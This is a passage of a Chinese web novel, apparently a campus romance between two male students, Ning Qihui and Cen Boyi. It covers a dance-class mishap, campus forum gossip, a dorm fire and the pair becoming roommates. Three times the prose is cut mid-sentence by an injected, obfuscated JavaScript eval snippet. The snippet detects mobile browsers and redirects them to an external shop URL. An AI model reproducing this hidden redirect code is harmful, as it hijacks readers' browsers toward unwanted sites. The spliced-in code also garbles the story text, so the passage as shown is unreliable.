台下发出阵阵爆笑,宁启洄脸色瞬间变红,他低下自己高贵的头颅,都不敢去看岑柏意的眼睛。 跳女步的岑柏意脑袋是一直抬着的,听到这话反而微微垂头,瞥见宁启洄红红的耳朵尖。 见宁启洄还在原地没动,岑柏意不得不提醒道:“手放在我左肩胛骨上。” 说着,岑柏意把伸出的手臂折回,手掌放在宁启洄的肩上。 温热的掌心按住宁启洄肩头,他想,这人真的是有点太瘦了。 剩下的舞步很顺利,即便是跳得缓慢僵硬而缺乏美感,但总算是完成了。 在最后一个动作的时候,宁启洄出脚太快,步子也迈得太大了,岑柏意脚还没落下之时,宁启洄的脚就已经伸到他下方了。 作为一个一米九几身体健康且经常锻炼的男大学生,岑柏意的体重算不上轻,起码比面前这个偏瘦的男生要重一些。 在岑柏意脚落在宁启洄脚背上的一刹那,宁启洄只感受到一股钻心的疼痛,生理性眼泪流了出来。 还是得听妈妈的话,看来拐杖扔不得。 在往前侧方栽倒的一刹那,宁启洄脑子里只有这句话。 好在是往黑板那一侧倒的,又有岑柏意挡着,大家没看见他的倒霉模样,宁启洄想。 岑柏意迅速伸手抱住宁启洄的腰,避免他脸朝地摔出个什么好歹来。 其他同学根本不知道发生了什么,只看见宁启洄被踩了一脚,然后就往边上倒。 见两人没什么事,只看见两人跳着跳着凑一起去了,大家都哄笑起来,甚至有起哄的,但都不带什么恶意。 “嗷嗷嗷噢噢噢!” “抱上了抱上了!” “快拍!发糖了!” 只有紧挨着的岑柏意知道,怀中的男生面色苍白,眼里还有泪花,身体都在轻微颤抖。 突然,他回想起几天前在悦江肆门口的那一幕,瘦瘦高高的男生单脚站立,身体倚靠着墙壁,当时他还以为这人是纯耍帅。 而且,社团纳新那天,潘晓瑜似乎对他说过,他的“小男朋友”填表来的时候杵着拐杖,好像受伤了? 岑柏意盯着那双有些红红的眼睛,薄唇紧抿,手指蜷了蜷。 见两人半天没分开,孟柔柔起身靠近,“怎么了?” 宁启洄慌忙拿手胡乱擦了擦眼泪,把岑柏意轻轻推开,顽强地把伤腿搁在地上,触地一瞬间,刺痛传遍全身,但他仍然忍住,面色不显。 他微微垂着头,不想别人看出什么。 “没事老师,刚刚有些吓到了,我们跳完了老师。”宁启洄不用看都知道自己的脸色不太好,他只能勉强找了个借口。 确实跳完了,几个完整的基础动作都演示完了,虽然很僵硬,但还算标准。 孟柔柔见没事,松了口气,点头道:“那快坐回去吧。” 宁启洄发现,岑柏意不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012917|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有意还是无意,给他挡住了班上同学好奇的视线,这让他稍微放松了些。 不然,到时候可不好解释他为什么哭得一脸惨白。 课间休息了十分钟,剩下一小节课时间,四十五分钟,岑柏意看着还没解完的一道高数题,想要集中注意力,但总是没办法全神贯注。 心里没由来的烦躁,岑柏意把平板息屏,目光盯着白色幕布的一角,大脑有些放空。 下课铃响起,岑柏意骤然回神。 他居然发了四十五分钟的呆?! 而且高数作业也还没写完! 不可以,岑学神不能接受。 收拾好书包,岑柏意见宁启洄还待在座位上,出于人道主义关怀,他问:“不去吃饭?” 宁启洄摇头,“人太多了,等会走。” 他现在没心思考虑尴不尴尬了,他是真的疼得要死,好在下午没课,他得去医院看看。 虽然拐杖扔得早,但宁启洄还是很在意自己的腿,他不想年纪轻轻就只能和轮椅相伴,以后爬上床都得人搬来搬去的。 估计还会被护工扇嘴巴子……希望他的抠门老爹能给他找个好点的疗养院吧,宁启洄双目无神地想着。 饭点食堂人总是很多,大家都急着去吃饭,教室里很快就只剩下他们两人。 岑柏意单肩背着包,思考几秒,“那我背你走。” 宁启洄诧异回头,“什么?” 岑柏意很自然地说:“是我踩到你了,我得负责。” 宁启洄虽然跳舞很屎,但他还是知道是自己的舞步出了问题,不干人家岑柏意的事情。 理论可以,实操不太行。 宁启洄摇头,“不用了,你去吃饭吧。” 这人看着还挺好心的,宁启洄想。 岑柏意盯着宁启洄看了几秒,突然说:“你该不会是害怕贴吧里的流言吧?” 宁启洄:“?” 怕? 他会怕? 他怕他就是孙子! 宁启洄撸起袖子,气势汹汹道:“背我!” 岑柏意眨眼,掩下唇边隐隐的笑意,继续道:“流言止于智者,只要我们表现得足够自然,流言就会不攻自破。” 宁启洄隐隐心动,觉得这是个好主意。 说实话,这种屁话放以前他根本就不会信,但现在注意力大部分都在疼痛的脚上,宁启洄大脑有些宕机。 “所以,上来吧。” 岑柏意把书包递给他,半蹲着,示意宁启洄趴在他背上。 宁启洄就只背了岑柏意的书包,毕竟大一第一周没什么作业需要写,这门课也没说有教材,他揣了个手机耳机就来了,轻松得很。 见岑柏意如此坦然,宁启洄觉得,他也没什么好扭捏的,直接趴了上去。 岑柏意的背很宽厚,透过轻薄的夏季短袖,能感受到那紧绷而不夸张的肌肉和蓬勃的生气。 宁启洄想了想自己目前病秧子的形象和已经几乎消失的腹肌,只剩下平坦但软趴趴好揉捏的肚子,自卑几秒,然后心安理得趴在上面。 在确定宁启洄膝盖以上没有受伤以后,岑柏意用两只手圈住他的膝弯,把他往背上送了送。 现在路上的人还很多,岑柏意特地挑了条花园小路走,安静了不少。 偶尔路过的几人都打量一下两人,然后就目不斜视走去。 宁启洄兴奋地想,看来这样是真的有效! 他要不要再多多邀请岑柏意演一下“兄弟情深”? 他不知道,有些路过的同学在他们背后停下,和身旁人小声讨论着什么,甚至有人兴奋地拍下照片传给朋友,而这张“兄弟情深”的照片,最终出现在了A大校园贴吧最热的那个贴子里。 当然,这些是正戴着耳机听歌的宁启洄无法知晓的。 7. 同人 周五,上完上午的课以后,宁启洄就解放了。 本该是极其美好的,如果在经过山海三四五栋这三个女生宿舍楼的时候,没有人跟看猴似的盯着他们俩,那就更好了。 “可以放我下来了,谢谢你。” 宁启洄见岑柏意的架势,似乎是要把他送回寝室里,他急忙说道。 岑柏意身形一顿,还是把他放了下来。 他接过自己的背包,冲他点点头,“记得去看医生。” 宁启洄摸摸鼻子,心想,你不说我也会去。 上楼的过程没有下楼那么痛苦,宁启洄干脆单脚蹦了上去。 到三楼的阶梯属实不少,宁启洄细数,居然有四十来层台阶。 就在他蹦得腿都要抽筋的时候,林枫晚及时出现。 “阿宁,你跑哪去了,鸡腿饭都要凉了!” 按照约定的,林枫晚下了课以百米冲刺的速度跑去食堂买饭,而伤患宁同学则慢慢吞吞回寝室,时间应该是正好的。 没想到林枫晚到了寝室,坐等右等没盼来林枫晚,倒是从小阳台上看到了岑学神孤毅的背影,还有疑似自家受伤小憨批的身影。 “怎么搞这么慢?”林枫晚抱怨一句,饭都凉了。 但他注意到宁启洄的脚踩在三楼地面时,脸上露出痛苦的神色,连忙紧张问道:“怎么了?腿不是好些了吗?” 宁启洄摆摆手,“回寝室说。” 等吃上没算凉透的鸡腿饭,宁启洄觉得自己总算是活过来了。 林枫晚语气有些严肃,“到底怎么了?” 苏情拜托过他好好照顾宁启洄,林枫晚一直以来也是照顾习惯了,再加上宁启洄骨折本就是为了护着他。 这才半个上午没跟着的时间,怎么腿伤还越来越严重了? 宁启洄打趣他,“你都成老妈子了,小林子。” “阿宁。” “好了好了,别急眼嘛。”他晃悠着那只伤腿,状似随意开口道:“啊,是这样,今天上课开小差被老师抓住了,然后就很不幸被拎上去跳舞,然后就被踩到脚了,‘凶手’很仁义地背我回来,就酱紫。” “是岑柏意?”林枫晚狐疑道。 宁启洄欣然点头。 “他有这么好心?该不会是故意踩你的吧。” 也不是林枫晚要故意这样恶意揣度他人,实在是江千陵给他留在了抹不去的心理阴影,岑柏意算是被殃及的那条池鱼。 宁启洄咬着牙说:“不是,我动作快了,自己伸脚过去的。” 真是的,这么丢脸的事情还要他重复一遍。 见确实没有误会,林枫晚幸灾乐祸地笑了笑。 “快吃吧,吃完去医院检查一下。”说着,又小声嘀咕,“万一真成瘸腿阿宁了,看谁还要你。” “林枫晚你说什么?!” “没什么,快吃快吃。” 第一周没有实验课,从课表上看,大概这学期过三分之一,周内晚上就会给安排三小节连上的化学实验课,宁启洄还挺期待的。 不过,现在有充足的空闲时间,也挺好,高中时期做的实验不算很多,接触到的化学试剂也少。 吃完饭,林枫晚马不停蹄带着宁启洄去了当初那家医院做检查。 之前苏情给宁启洄找的医生姓李,是很专业的骨科医生,之前宁先生手骨折了,也是他看的,宁启洄对他算是比较熟悉。 李医生此刻戴着眼镜,沉默地看着宁家小少爷。 李医生:“说了多少次要注意要注意,怎么总是不遵医嘱!” 宁启洄小声:“出院那天您一共说了两次。” 李医生:“……”能不能走,不想给你看病了。 当然,基本的医德还是有的。 李医生给宁启洄拍了片,又上手检查了一下,确认没什么问题,这才松口气,但语气依旧严厉。 “好好养,万幸没有错位,拐杖再拄一个星期。” 说完,摆摆手,不想再看见这个惹祸精了。 毕竟在住院的时候,宁启洄就三番五次溜出去晒太阳。 虽然晒太阳很好,但你别拐杖轮椅一个都不用就往下跑啊!当腿上的石膏是死的吗!(确实是) 宁启洄没走,坐在原地,一脸真诚地看着李医生,看得他心里发毛。 “干什么?” 宁启洄努力让自己的语气听起来真挚一点,“李医生,这件事情能不能不要告诉我妈?” 李医生冷笑,“你想得美,我不仅要告诉,我还要大张旗鼓地告诉!” 让你.妈妈看看,你到底是怎样一个还没过青春期的叛逆医患。 宁启洄:“……如果我说,我能给你女儿弄一套状元笔记呢?” 李医生沉默了,他居然可耻地心动了! 他有个在刚上高三的女儿,正是学习紧张的时候,他女儿学得有些吃力了,找了家教和补习班也没时间学,女儿说不如找点资料让她自己琢磨。 现在,这样一个大好机会摆在眼前,李医生怎么能不心动。 宁启洄继续加码,“有了这个笔记,你女儿高考肯定没问题!” 李医生咽了咽口水,试图抵抗,“我记得你们俩都不是今年的状元。” 宁启洄&林枫晚:“……” 房间里陷入了死一般的寂静。 确实不是,他们俩只是第二和第三,今年的理科状元被另一所重点高中的“学习机器”夺走。 之前交流两人见过这台“学习机器”,学起来简直不是人,输给他不亏。 李医生想着松松口,榜眼探花的笔记也不是不行,但他根本不知道,两人高中的笔记在放假之后,已经被折成纸飞机扔出去了。 还飘进了宁启洄家的小池塘,然后挨了顿骂,两人苦兮兮拿着夹子又一个个捡起来。 而且他们的笔记是意识流,除了自己没人看得懂,那给他女儿也没太大用。 宁启洄嘿嘿一笑,说:“虽然我们不是状元,但我认识上一届的状元呀~” 李医生眉头一动,“谁?” 宁启洄翘起嘴角,“我学长,岑柏意,你可以去搜搜,他是去年的省状元。” 李医生:“你确定他能借你?” 宁启洄挑眉:“当然,学长人可好了。” 他们现在已经处成哥们了,今天还上演了一出“兄弟情深”的戏码,不给他搬个奥斯卡小金人都说不过去! 林枫晚瞳孔地震:“!!!” 不是,半天没见,你们的关系已经好到可以借笔记了?! 我只是上了个课买了个饭,你们就把我从小团体踢出去了?!!! 李医生笑了笑,点头说好。 他原本就没打算告诉苏情,孩子大了,也得有点隐私和自由,男孩子嘛,受点伤什么的无所谓了。 不过,这小子着急忙慌给他塞笔记,他收下也不是不行,正好倩倩用得上。 就这么愉快地达成了“邪恶”的交易,宁启洄拖着林枫晚往回走。 出租车上,林枫晚一脸不解,“不是,你们到底是怎么搞到一起去的?” 宁启洄一巴掌拍在他背上,“怎么说话的,什么叫‘搞到一起去’,我们这是荧屏兄弟情,你不懂。” 林枫晚呵呵,“是是是,我不懂。” 回到寝室已经傍晚了,两人顺路在东一门门口买了点小吃回去。 林枫晚一手拎着酸辣粉,一手抓着烤串,小拇指还勾了一份小甜品。 “这家酸辣粉可好吃了,信我。” 宁启洄无语,提溜着凉面往回走。 正前方的太阳照射,把两人的影子在身后拉得很长,一点点遮住了地上的落叶。 回到寝室,两人支起那张大桌子。 林枫晚拆开自己的“垃圾食品”,香味瞬间在寝室里逸散开。 “哇塞好辣!”林枫晚嗦了口粉,红薯粉滑滑的,被煮得很软很入味,辣椒和陈醋的香味碰撞,勾人食欲,“真的,你尝尝。” 宁启洄挑了一小筷子粉过来,尝了尝。 事实证明,人是一种容易真香的动物。 宁启洄干掉了林枫晚大半碗酸辣粉,又去抢他的烤串。 特地买多了的林枫晚嘚瑟笑道:“你看,我就说很好吃是不是!” 其实宁启洄买的凉面也不错,但是在冰冰凉凉的空调房里,吃热热辣辣的食物才是最爽的。 吃饱喝足,又到了熟悉的娱乐环节。 “阿宁,你的‘好兄弟’好像背叛你了。”林枫晚一乐,把手机递给宁启洄。 界面是熟悉的A大贴吧,帖子是熟悉的学神系草CP帖,下面的最新回复上了一张照片,照片上是一个男生背着另一个男生。 如果宁启洄没看错的话,那就是他和岑柏意。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012918|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 男人的嘴,骗人的鬼。 他再也不要相信什么“兄弟情深”了! 等林枫晚吃完瓜退出贴吧,又注意到宁启洄在全神贯注看什么。 他凑过去,却被宁启洄灵巧躲开。 “哟,有什么东西是你哥不能看的?”林枫晚挑眉。 宁启洄已经习惯了这货的造作,他面不改色,“学习资料。” 林枫晚顿了顿,嘿嘿一笑,“看片记得别用校园网,据说管理员能看见。” 宁启洄手一顿,没接话。 见他不吱声,林枫晚狐疑道:“还真在看?” 宁启洄恼羞成怒,“看个屁!就是学习资料!” “行行行,学习资料。”林枫晚哼笑一声,回到自己的位置上,开始快乐单排。 过了一会,熟悉的暴躁小林子登场: “来来,都把麦打开,来!” “操啊,狗东西,会不会打,你爹控到人了你不知道上吗!” “撒把米鸡啄得都比你好,不能玩就去写作业好不好弟弟?” “这个射手是他妈的卧底吗?自己血包不吃就想对面塔里那一口是不是!” “开个龙都他妈跑塔底下开会是吧!” 在确认林枫晚在沉浸式打游戏之后,宁启洄再次偷摸拿起手机,点开了那个神秘的蓝色APP,熟练地进入热度最高的帖子。 是的,他在看自己和岑柏意的CP帖。 宁启洄时受了“兄弟情”照片的刺激,本意是想要跟帖看看他们到底在乱说些什么,并且试图开小号给自己澄清,然后就误入了一大片CP同人文帖,主人公还被巧妙地替换成了宁回回和岑易。 宁启洄:哇,真是好巧妙的构思呢,真当他看不出来! 宁启洄气势汹汹点进去看,然后就走不动道了。 就,仿佛打开新世界的大门。 等宁启洄偷偷摸摸地看完了一片同人文,已经有些脸红心跳了。 不是,不都是二十来岁的大学生吗,为什么你们的阅历能这么丰富?! 什么捆绑,鞭子,蜡烛,浴缸……靠,不能再想了! 他做贼心虚地退出来,往下翻了翻,试图洗涤自己已经带上颜色的脑子。 他假装自己只是在关注学校里发生的事情,手指突然一顿,看见了一条热度正在飞速上升的帖子: #川鸿三栋 火灾# 宁启洄手一抖,不小心点了进去。 川鸿园区离山海园区不远不近,更靠近北门那边。 贴主发的是一张张聊天记录截屏,看样子是从川鸿三栋宿舍楼的群里解出来的,大概是说某个寝室起火了,连带着烧到周围的寝室了。 贴子里有人推测是使用了大功率加热器,当然被群嘲了,毕竟现在是夏天,还有的说是违规使用了小电锅电热水壶等等,但皆无定论。 群里有图有真相,宁启洄放大看了看,火灾确实不小,川鸿三栋外表一大半都被熏黑了,但看着不像是一间寝室起火能引起的,或者说,短时间内不该有这么大的影响力。 “贴吧里说,川鸿三栋起火了。”宁启洄皱眉,“但是感觉不太对啊,不像是寻常火灾。” 林枫晚爆锤桌子,看着自己又掉了一颗星,无能狂怒。 “这个逼上单还有脸来加我,就属他打得最拉!” 半晌,他听到宁启洄的话,狐疑道:“看片就看片,怎么看到贴吧去了,是哪位菩萨分享了资源?” “……”宁启洄轻咳一声,“这不是重点。” 林枫晚也点进去看了看,突然,他说:“啊,辅导员说,是电路老化的问题,让我们也注意点。” 宁启洄沉默。 林枫晚继续说:“还是山海七栋好,修得最晚,环境最好。” 宁启洄切换进化学系年级大群,辅导员显然也收到了消息,在紧急发布通知,说明此次火灾的情况,以及警示其他同学。 宁启洄看着“无人员伤亡”这五个字,悄悄松了口气。 大概过了三四个小时,快到了第二天的凌晨,宁启洄正要灭灯,突然看见年级群再次传来消息提示: 【辅导员庄悦:由于川鸿三栋宿舍楼火灾,部分寝室已无法居住,为确保正常行课,现决定将该部分学生分散入住其他宿舍园区,目前我们年级有新增成员的寝室为:青阳一栋427,……,山海七栋310@全体成员】 8. 横幅 对于这个结果,宁启洄倒是不意外。 他们这一届的化学系学生非常多,女生都是住在青阳一栋和青阳二栋,男生是住在山海七栋,青阳和山海这两个宿舍园区算是学校里环境比较好的。 听林枫晚说,是军训结束前分的宿舍,今年化学系的寝室还挺多的,也就任由他们在合理范围内自己选舍友,再由辅导员审核分配。 选来选去,宁启洄和林枫晚居然两个人单独分到了一个宿舍,也许是考虑到宁启洄的特殊情况。 现在再来室友也没太大问题,毕竟一个寝室本就是要住四个人的。 林枫晚找班长于修迪要名单,于修迪说没有,但是肯定是会分到两个人的,毕竟向他们这样空两个床位的寝室也不多。 估计都想找个伴一起住进来,所以他们宿舍反倒是个好去处。 林枫晚一关手机,扑在宁启洄身上哀嚎,“怎么办阿宁,我和你的二人世界还没过够呢!怎么又来俩电灯泡!” 宁启洄已经习惯了他时不时发作的矫揉造作,伸出食指推开他,“熄灯睡觉。” 林枫晚:“……喔。” 夜晚很安静,宁启洄却有些睡不着,脑子里一直在回想那篇同人文。 【外面下着淅沥沥的小雨,屋内气温渐渐升高。】 【宁小洄被灌醉了,浑身湿透躺在浴缸里,修长的四肢蜷缩在一起,被打湿的白衬衫半透明,紧贴在他身上,透出白皙的肉.体,像是个破布娃娃一样任人摆弄。】 【浴缸边的男人看着他,眸色深沉,下一瞬,他便伸手剥去青年衣服,任他赤.裸裸地躺在浴缸里……】 【他关掉灯,拿来蜡烛,昏暗的烛火照亮他神色不明的脸,半晌,他解了皮带俯下身,和浴缸里的青年共沉沦……】 【“别哭,声音都哑了。”男人疼惜地吻去青年脸颊的泪,干燥的唇瓣擦过细腻光滑的皮肤慢慢往上,最后在不住颤抖的眼睫印下一个很轻很轻的吻。】 实在是文字太具有力量了,宁启洄甚至觉得那些事情是真实发生过的,每一个字每一个标点符号都引人遐想,给人以具象的画面。 看得他脸红心跳,浑身冒火。 他不对劲。 半夜过于亢奋,以至于第二天一早,林枫晚叫宁启洄起床的时候,看见了他顶着硕大的两个黑眼圈。 林枫晚吓了一跳,有些迟疑道:“要是宁叔叔真的克扣你生活费,我可以接济接济你。” “?” “没必要扮成这样给熊猫顶班。” “……快滚。”宁启洄声音沙哑,不想理他。 一晚没睡好,一闭眼就是生动的画面,宁启洄恨极了自己太年轻以至于记忆力太好,越想印象越深刻,然后就睁眼到天明。 差不多四五点才有点睡意,没眯多久就被这货扯起来了。 林枫晚打量了一下他满脸写着“我要杀人”的表情,迟疑道:“那我自己去了?” 宁启洄搓脸的手一顿,“去哪?” “搞横幅啊,昨晚说好的,迎接新舍友,让他们尽快融入我们的小团体!”提到这个,林枫晚就不困了。 突然兴奋! 宁启洄:“……” 不好意思昨晚光顾着意.淫校草了,实在没听你在说什么,敷衍着答了两句。 横幅这种东西……真的是在迎接新室友吗,确定不是想一步到位送走他们? 宁启洄疲惫地转动熬夜过载的大脑,有些迟钝地想着,试图找出什么错处来阻止这场闹剧。 当然,他失败了。 见宁启洄精神实在不好,林枫晚皱眉,“你继续睡会吧,东西我来收拾。” “……什么东西?” 宁启洄眨眼,反应又慢半拍。 林枫晚无奈叹气,“我们放在二三号床和桌子上的杂物,得收起来空地方,人家要用的。” 宁启洄呆呆点头。 半晌,他似乎终于清醒了一些,又说:“起都起了,一起吧。” 林枫晚:“……” 你看起来不是很想一起的样子。 —— 两人在东一门买了鸡蛋灌饼,拐角去了一家图文广告店,广告牌贼拉大贼炫酷,想不注意到都难。 就很符合林枫晚难以言喻的审美。 进去就是很普通的图文店,但老板热情展示的横幅样例显然是不普通的。 宁启洄啃了口鸡蛋灌饼,眼睁睁看着林枫晚的眼睛越来越亮,一直盯着屏幕上七彩炫光的字体不放。 他在反思,昨晚为什么会答应他这个要求。 又啃了一口,嗯,鸡蛋灌饼真香。 双倍蛋加烤肠和辣条,美滋滋! 虽然很满意这家,但林枫晚还是拉着他往其他方向走去,又找到几家图文广告店,但都是中规中矩的样式。 在走到第四家的时候,宁启洄扔掉鸡蛋灌饼的包装袋,终于忍不住问:“有什么区别呢我请问?”这几家店完全就是一模一样的好吧! 林枫晚斜睨了他一眼,“你不懂,这叫货比三家。” “……”鬼扯,明明都一样。 最后,林枫晚还是选了第一家,没别的,就是第一家比较炸裂吸睛,其他的没这效果。 很典型的甲方做法。 宁启洄想了想,也确实,那种炸裂五彩炫光横幅,店家敢出,顾客都不敢买。 估计开业到现在,这种横幅唯一销量是林枫晚贡献的。 宁启洄无奈耸肩,抬步跟了进去。 似乎和宁启洄猜的一样,店主终于逮到个冤种韭菜,态度热情得不行,比三舅姥爷端着妈妈亲手做的蛋炒饭来看他还高兴。 进门,宁启洄就坐在了柜台边,看林枫晚跑去打印室,和老板神神秘秘商量着什么。 定制的打印内容还神神秘秘的,不让宁启洄知道,林枫晚高深莫测一笑,说他晚上就能看见了。 因为居住需求,昨晚川鸿三栋的同学都是住在学校外面的宾馆,学校出的钱。 今天之内得把宿舍搬好。 所以,今天晚上,两人就能看见他们亲爱的新舍友了。 在等待横幅打印的过程中,宁启洄再次反思,林枫晚这样的做法是不是想让那两位新室友知难而退。 是在立威吗? 还是说恐吓。 任谁看见贼他妈炫酷的七彩炫光横幅,都不会认为这是在欢迎吧。 几个小时以后,在触及林枫晚看横幅成品以后闪亮的眼神后,一副非常满意的样子,他选择闭嘴。 他错了,这货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012919|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的品味清奇。 如果不是他及时拦下,估计横幅刚印好几秒钟,照片就会出现在他的朋友圈了。 希望两位新室友看到之后不会原地去世,也不会因为他莫名其妙的审美就孤立他们俩——孤立林枫晚就可以了,和他没什么关系。 下午回寝室的时候,宁启洄先后收到两条手机短信,一条是来自戏剧社的,另一条是来自登山社的,分别告知了面试的时间地点。 林枫晚收好他宝贝的横幅,凑过来看了眼。 “阿宁,你还真准备去啊。” “什么?” 宁启洄分别回复了“收到”,抬眸看他。 “戏剧社和登山社啊,你什么时候对演戏感兴趣了?”林枫晚的手机滴滴响,打开一看,他也收到了报名的几个社团发来的消息。 “而且,等你被A大制裁了,你就没精力爬山了。” 宁启洄无所谓道:“演个戏而已,没试过,想试试,爬山有助于身体健康。” “屁,熬到两三点才睡,还身体健康,看看你都虚成什么样子了。” 宁启洄踹了他一脚,并不想理他。 等他们回宿舍的时候,寝室里已经堆满了东西,看着是刚搬过来,还没来得及收拾。 宁启洄瞥见一个很眼熟的东西,似乎昨天上午才在艺术楼某个教室看见过,他想要凑近去看,却被林枫晚拉过去帮忙,只得作罢。 应该不会这么巧的,可能是错觉。 横幅很长,林枫晚又想挂在一进门就能看到的显眼位置,最终他还是选择了挂在两张床之间的铁制楼梯上,在一号床和四号床之间,离门很近,保证一眼就能看见。 ——在此之前,林枫晚是想挂在门口的,丢不起这人的宁启洄好说歹说劝住了,这么精心准备的(炸裂)礼物不能被别人看到,不然就亏了。 林枫晚想想,也觉得有道理,就挂寝室里面了。 在帮着林枫晚拉横幅的时候,宁启洄看见横幅上雄赳赳气昂昂的两行大字,简直瞳孔地震。 鲜红的横幅上,赫然印着两行七彩炫光大字: 【一滴精十滴血,310的男人们也要保护好自己!】 真的很土很炸裂,是个脑子正常的碳基生物都想不到这个。 宁启洄看得又好气又好笑,都不想和林枫晚待在同一个屋子里,这货和他的横幅绝对污染了他周身的空气。 “喂喂,这副表情干嘛,我加钱加急了呢,不然今天印不出来的。”林枫晚撇嘴,看向横幅,随即又是嘚瑟一笑,对自己的杰作很是满意。 宁启洄叹气,他还是走吧……此地不宜久留。 他正准备出门透透气,就听见宿舍门锁舌轻弹的声音。 林枫晚也注意到了,他脸上一喜,引吭高歌,“310喜提男宾两位~” 声音婉转,像只百灵鸟,恨不得拐个山路十八弯。 宁启洄默默埋头,想假装不认识。 门从外面被推开了,进来两个高大的男生,左边那个稍高一些的看着很高冷不好亲近,右边那个卷毛蓝眼睛的似乎是个混血。 眼熟。 就是很眼熟。 对上一道疑惑的眼神,宁启洄微微翘起的嘴角瞬间绷直。 岑柏意:“……” 9. 入住 宁启洄:他说怎么最近右眼皮狂跳呢,哦,原来是有灾星啊。 想到那张“兄弟情”的照片,以及昨天的夜不能寐,宁启洄就恨得牙痒痒,但自己又不太占理。 前者是他受伤了人家好心背他,后者更是他自己要去贴吧看同人文的,怪不得谁。 宁启洄自我CPU结束,在心里默念几声“我不气”,扯起嘴角给他们让路。 “嚯!”江千陵先是一愣,然后大笑起来,冲宁启洄比了个大拇指,“小学弟有想法!” “……”不,有想法的不是他这个学弟。 宁启洄头疼得捏捏眉心,忘了,寝室里还挂着一条很炸裂的横幅。 他嘴角一抽,在认真思考是把两人打晕扔出去,还是把林枫晚和横幅一起销毁。 林枫晚脸色也不太好,不说岑柏意了,他本身就和江千陵闹得不太愉快。 他抱着仅存的一丝希望,颤抖着问:“你们是,走错了是吗?这里是——” “310,”江千陵抬眸,戏谑地欣赏一番林枫晚如同打翻的调色盘一般精彩的表情,等候着脸色黑得像锅底一样,才悠哉开口,“我们是入住山海七栋310的新成员,我叫江千陵,他是岑柏意,传说中的学姐杀手,迷倒万千少女,创造——” 话没说完,就被一旁的岑柏意怼了下,是真怼,手肘朝他腰侧用力一顶,就很痛。 江千陵龇牙咧嘴给自己揉肚子,他现在的心态完全是看乐子了——自从岑柏意已经得知他网恋搞事情还不小心被闹到贴吧去之后。 没在怕的,反正挨揍是已经挨过了,不存在再揍一遍。 林枫晚:“……”气死了这个狗男人! 他一把扯下横幅,结果因为绑得太死,扯了两下没扯动,鲜红的横幅在空中来回晃荡两下。 “……” 气氛就很尴尬。 宁启洄很给面子地忍住笑意,只是嘴角不住抽搐,而江千陵完全没这个顾虑,放肆地笑出来,笑声在宿舍里回荡,突兀又大声, 林枫晚脸气成猪肝色,解开横幅的绑带囫囵塞进自己的抽屉里,坐在座位上生闷气。 江千陵这狗男人不配用他的横幅! 他的位置在四号床下面,新舍友正好堵在门口,这下310四个人全都挤在这一小片地方。 到底是学校安排的新舍友,宁启洄扯了扯嘴角,尽量忽视那种尴尬到溢出来的氛围。 他指了指空着的二号床和三号床,“这两张床是你们的。” 江千陵看了眼宁启洄和林枫晚的床,勾起一抹笑,“你们居然没连着睡,这是吵架了嘛~” 江千陵不知道是用了什么办法,眼皮和嘴唇上肿起的包居然也好的七七八八了,除了还有点红以外,基本上不影响他原本的颜值。 这样一笑,桃花眼眨了眨,看着风情万种。 宁启洄冷漠:“二三号床离空调近,很冷。” 硬要造作的江千陵:“……” 被误伤的岑柏意:“……” 最终,岑柏意选了二号床,连着宁启洄的一号床,而江千陵选了三号床,连着林枫晚的四号床。 两人正默默收拾着东西,宁启洄状似无意瞥见那抹熟悉的颜色,等颜色的主人把它完全拿出来后,他看清了全貌。 “!!!” 他就说那是岑柏意的平板外壳! 察觉到身后有视线,岑柏意微微偏头,宁启洄迅速扭头,连忙假装在做自己的事情。 但他的桌子上只有一个平板,屏幕是黑的,映出他略显心虚的表情。 瞥见这一切的江千陵笑了笑,收拾到一半,感慨道:“果然,山海七栋宿舍环境好太多了,不像川鸿三栋,墙皮都掉色。” 说着,又把手搭在两张床之间的铁制楼梯上,“连楼梯都有六个。” “……” 没人接他的话,他也不尴尬,自顾自说着。 宁启洄瞥了眼兀自生气的宁启洄,默默想,和新舍友的感情培养,从第一天开始破裂。 因为太过生气,林枫晚垮着脸把宁启洄拉走,去食堂吃饭了。 脚上的拖鞋踩得啪啪响,但宿舍里的两人似乎都察觉不到他的不满似的。 门关上,寝室里一片寂静。 江千陵终于是忍不住,噗嗤一下笑出来。 “哈哈哈哈,岑哥,你觉不觉得这小学弟真有意思。”江千陵坐在椅子上,身体靠后,椅子脚翘起,他上半身凑近岑柏意。 岑柏意想了想,脑海浮现那天舞蹈课的情形,点头说是。 他是挺有意思。 见他赞同,江千陵有些惊奇地扭头,发现岑柏意的视线停留在一号床的椅子上。 江千陵:“……”懂了,你也是个瞎的。 等等,他为什么要说“也”? 这边,两人已经到了食堂。 